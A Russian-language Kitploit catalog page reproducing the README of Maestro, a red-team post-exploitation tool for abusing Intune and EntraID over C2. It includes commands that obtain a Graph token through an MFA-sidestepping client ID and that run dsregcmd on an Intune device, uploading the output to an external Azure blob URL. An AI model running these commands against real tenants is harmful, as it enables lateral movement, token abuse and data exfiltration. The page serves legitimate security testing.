Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Maestro — Abusing Azure services over C2 | Kitploit
Инструменты/GitHubGitHub/mayyhem/maestro
Lateral MovementInformation GatheringPost-ExploitationCloud SecurityCommand and ControlAuthenticationRed Teaming
GitHubmayyhem/maestro

Maestro

Abusing Azure services over C2

Репозиторий
380357 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Sponsored by SpecterOps @_Mayyhem on Twitter

maestro-logo

Maestro

Maestro — это инструмент пост-эксплуатации, предназначенный для взаимодействия с Intune/EntraID из агента C2 на рабочей станции пользователя без необходимости знать пароль пользователя, разбираться в потоках аутентификации Azure, манипуляциях с токенами или веб-консоли администрирования. Maestro значительно упрощает взаимодействие с Intune и EntraID (а также, потенциально, с другими сервисами Azure) через C2: оператору не нужно получать пароль пользователя в открытом виде, извлекать из системы файлы cookie первичного токена обновления (PRT), запускать дополнительные инструменты или сеанс браузера через SOCKS-прокси, а также иметь дело с потоками аутентификации Azure, токенами или политиками условного доступа, чтобы выполнять действия в Azure от имени вошедшего пользователя.

По сути, Maestro — это обёртка для локальных запросов PRT-куки и вызовов Microsoft Graph API с множеством дополнительных удобных функций для специалистов red team. Maestro открывает векторы атак между локальной инфраструктурой (on-prem) и Azure. Например, запустив Maestro на машине Intune-администратора, вы можете выполнять PowerShell-скрипты на любом зарегистрированном устройстве, так и не узнав учётные данные администратора, даже если политики условного доступа требуют MFA, соответствия устройства требованиям и гибридного присоединения к домену.

Функции горизонтального перемещения в Maestro вдохновлены статьёй Death from Above: Lateral Movement from Azure to On-Prem AD Энди Роббинса (@_wald0).

Подробнее можно прочитать во вводном посте в блоге, посвящённом Maestro: https://specterops.io/blog/2024/10/31/maestro-abusing-intune-for-lateral-movement-over-c2/

Возможности

  • Выполнение PowerShell-скриптов в реальном времени (через Proactive Remediations)
  • Запуск приложений
  • Выполнение Device Query в реальном времени
  • Принудительная проверка устройства (check-in) и синхронизация
  • Перечисление объектов Intune и Entra
  • Локальная база данных для хранения учётных данных и результатов запросов

Примечания

В этом репозитории есть готовый релиз, собранный с конфигурацией ReleasePlusMSAL. Учтите, что эта конфигурация объединяет зависимости MSAL в .exe, но значительно увеличивает размер итогового бинарника. Если вы не планируете использовать метод -m 2 для запроса токенов доступа (SharpGetEntraToken через MSAL), вы можете собрать Release-версию, и её размер будет значительно меньше.

Начиная с февраля 2025 года Microsoft внедряет обязательную MFA для аутентификации на портале Azure и его расширениях. В этом случае стандартный метод запроса токена доступа через поток с кодом авторизации, скорее всего, перестанет работать, но использование SharpGetEntraToken/MSAL (опция -m 2) с указанием идентификатора клиента, не требующего MFA, например Azure PowerShell (1950a258-227b-4e31-a9cf-717495945fc2), по-прежнему должно работать.

Синтаксис

Maestro.exe <command> [subcommand] [options]

У всех команд и подкоманд есть справочная страница, генерируемая с помощью собственного парсера командной строки, чтобы минимально увеличивать размер бинарника. Справку можно вызвать, введя любую команду Maestro с флагом -h или --help.

Актуальную информацию об использовании каждой команды см. в выводе опции --help.

Примеры приведены в конце этого файла.

vNext

  • Перечисление локального Endpoint Privilege Management (EPM)

Блоги/Доклады

  • Слайды DEF CON 32 Demo Labs

Разработка

Для отладки я открываю общий доступ к каталогу на машине, зарегистрированной в Intune, из моего хоста с Visual Studio, запускаю Remote Debugger Visual Studio, настраиваю задачу после сборки для копирования файлов решения в общую папку и настраиваю Visual Studio для удалённой отладки на зарегистрированной системе.

Поддержка

Время, которое я могу уделять исследованиям, разработке и улучшению Maestro, было бы невозможным без спонсорской поддержки SpecterOps в рамках их приверженности прозрачности и поддержке open-source разработки. Я безмерно благодарен за их руководство и поддержку.

Вклад

Некоторые возможности Maestro были вдохновлены или созданы на основе работ других авторов, в том числе:

  • RequestAADRefreshToken, автор Lee Chagolla-Christensen (@tifkin_)
  • ROADtoken, автор Dirk-jan Mollema (@_dirkjan)
  • SharpGetEntraToken, автор Daniel Heinsen (@hotnops)

Если вам интересно сотрудничество, пишите мне в Twitter (@_Mayyhem) или в Slack-сообщество BloodHoundGang!

Примеры

Получите токен доступа для MS Graph с помощью MSAL и идентификатора клиента Azure PowerShell (пока не блокируется обязательной MFA):

root@kitploit:~
.\Maestro.exe get access-token -m 2 -t mayyhem.onmicrosoft.com -c 1950a258-227b-4e31-a9cf-717495945fc2 -s https://graph.microsoft.com/.default
2025-02-06 21:09:24.701 UTC - [INFO]    Execution started
2025-02-06 21:09:24.810 UTC - [INFO]    MSAL DLL loaded and ready for use.
2025-02-06 21:09:24.810 UTC - [INFO]    SharpGetEntraToken attempting to get an access token
2025-02-06 21:09:25.857 UTC - [INFO]    SharpGetEntraToken got an access token:
eyJ0...tDOg
2025-02-06 21:09:25.982 UTC - [INFO]    Completed execution in 00:00:01.3203797

Выполните dsregcmd.exe на устройстве Intune с идентификатором e537180b-6d04-427e-bf93-dbde818400eb и загрузите результаты в контейнер Azure Storage Blob по SAS-URL с общим токеном доступа:

root@kitploit:~
.\Maestro.exe exec intune upload -i e537180b-6d04-427e-bf93-dbde818400eb -n MyPolicy --url 'https://maestro2go.blob.core.windows.net/uploads?st=2025-01-14T20:19:57Z&se=2025-01-15T04:19:57Z&si=All&sv=2022-11-02&sr=c&sig=QYri...ZkpA%3D' --commands "%windir%\system32\dsregcmd.exe"
...
2025-01-14 20:20:28.251 UTC - [INFO]    Creating new device assignment filter with displayName: d004a709-aae6-4fbf-91cd-48f227272c97
2025-01-14 20:20:28.251 UTC - [INFO]    Requesting devices from Intune
2025-01-14 20:20:28.267 UTC - [INFO]    Requesting IntuneDevices from Microsoft Graph
2025-01-14 20:20:28.783 UTC - [INFO]    Found 1 IntuneDevice matching query in Microsoft Graph
2025-01-14 20:20:29.017 UTC - [INFO]    Found 1 devices in filtered results
2025-01-14 20:20:29.361 UTC - [INFO]    Obtained filter ID: 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.379 UTC - [INFO]    Creating custom config policy for device: e537180b-6d04-427e-bf93-dbde818400eb
2025-01-14 20:20:29.649 UTC - [INFO]    Obtained policy ID: fbca5c35-5282-4ec7-87de-a2d16a743079
2025-01-14 20:20:29.680 UTC - [INFO]    Assigning policy fbca5c35-5282-4ec7-87de-a2d16a743079 with filter 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.983 UTC - [INFO]    Successfully assigned policy with filter
2025-01-14 20:20:29.983 UTC - [INFO]    Successfully created and assigned diagnostic logs policy with request ID 651d2244-4ad7-4efe-bb5e-d017b0c27750
2025-01-14 20:20:29.999 UTC - [INFO]    Not syncing automatically, execute the following to force device sync:

    .\Maestro.exe exec intune sync -i e537180b-6d04-427e-bf93-dbde818400eb

Clean up after execution:
    .\Maestro.exe delete intune policy -i fbca5c35-5282-4ec7-87de-a2d16a743079
    .\Maestro.exe delete intune filter -i 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64

2025-01-14 20:20:29.999 UTC - [INFO]    Completed execution in 00:00:04.8572902
Скачать инструмент